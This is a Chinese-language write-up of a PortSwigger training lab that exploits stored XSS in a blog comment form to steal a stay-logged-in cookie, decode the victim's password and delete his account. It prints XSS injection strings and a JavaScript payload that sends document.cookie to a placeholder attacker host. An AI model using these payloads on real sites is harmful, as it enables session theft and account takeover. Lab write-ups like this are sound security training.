从业者-保持用户登录-离线密码破解
# 实验室:离线密码破解
# 题目
此实验室将用户的密码哈希存储在 Cookie 中。该实验室还在评论(Comment)功能中包含 XSS 漏洞。要解决实验室问题,请获取 carlos 的stay-logged-in Cookie ,并使用该 Cookie 来破解他的密码。然后,以carlos身份登录并从 “My account” 页面中删除他的帐户。
- 你的凭据:
wiener:peter - 受害者的用户名:
carlos
Learning path
如果你正在遵循我们建议的学习路径 (opens new window),请注意,本实验要求你对我们尚未涉及的主题有一定的了解。如果你遇到困难,请不要担心;等你的知识有了进一步的发展以后再来吧。
- name: 实验室-从业者
desc: 离线密码破解 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
根据题意,可得实验目标:
- 该实验室存在 “保持用户登录” 的功能,该功能通过某种加密方式,将用户信息保存在 Cookie 当中。
- 我们无法正向(编码+暴力破解)推断出 carlos 用户的 Cookie 信息。
- 但,该实验室存在 XSS 漏洞,我们可以窃取 carlos 用户的 Cookie ,然后反向(解码)获取 Cookie 中的明文信息。
- 获得明文信息后,以 carlos 用户身份进行登录 并访问其账户页面。
点击 “Access the lab” 进入实验室。
实验室首页如下。
# 寻找 XSS 漏洞
根据题目中的提示 “评论功能存在 XSS 漏洞”,所以我们需要先寻找评论功能模块在哪个地方。
随便选择一条新闻,点击下方的 “View post” 。
在新闻页面的正下方,可以看到评论功能。我们在 “Comment” 输入框中写入弹窗语句,然后点击 “Post Comment” 提交表单。
test1'"><script>console.log(1)</script>//
提交表单之后,会跳转到一个页面,点击 “Back to blog” 返回上一页。
回到刚刚的新闻页面,F12 打开控制台,可以看到成功输出了字符 “1” ,说明存在 XSS 漏洞。
# 通过 XSS 获取用户 Cookie
点击 “Go to exploit server” 进入实验室提供的攻击服务器。
在这里可以自己编写 XSS 的 Payload。
访问链接,会显示你编写的 Payload 内容。
修改 Payload ,使其具有获取 Cookie 的功能:
(代码不唯一,可以自己寻找合适的)
JavaScript 代码:
var cookie = document.cookie;
var img = '<img src="https://你的域名/exploit?cookie=' + cookie + '">';
document.body.innerHTML += img;
2
3
回到新闻页面,利用 XSS 漏洞,使用 script 标签来加载攻击链接。
链接会返回刚刚设置好的 Payload(JS代码),而 script 会去执行这段代码,达到获取 Cookie 的效果。
test111'"><script src="https://你的域名/exploit"></script>//
提交表单之后,回到攻击服务器,点击下方的 “Access log” 查看访问日志。
在日志中,可以看到一个源地址为10.0.4.134的记录,其中包含了一段 stay-logged-in Cookie 值。
实验室会模拟 carlos 用户去访问新闻页面,并受到 XSS 攻击,我们设置的 Payload 会获取 carlos 用户的 Cookie,然后发送到服务器上。
对获取到的 Cookie 进行解码,获得用户名和密码carlos:onceuponatime。
使用刚刚获得的用户名和密码 进行登录操作:
登录成功,点击下方的 “Delete account” 删除当前账户。
输入密码onceuponatime,确认删除。
账户删除成功,实验完成。
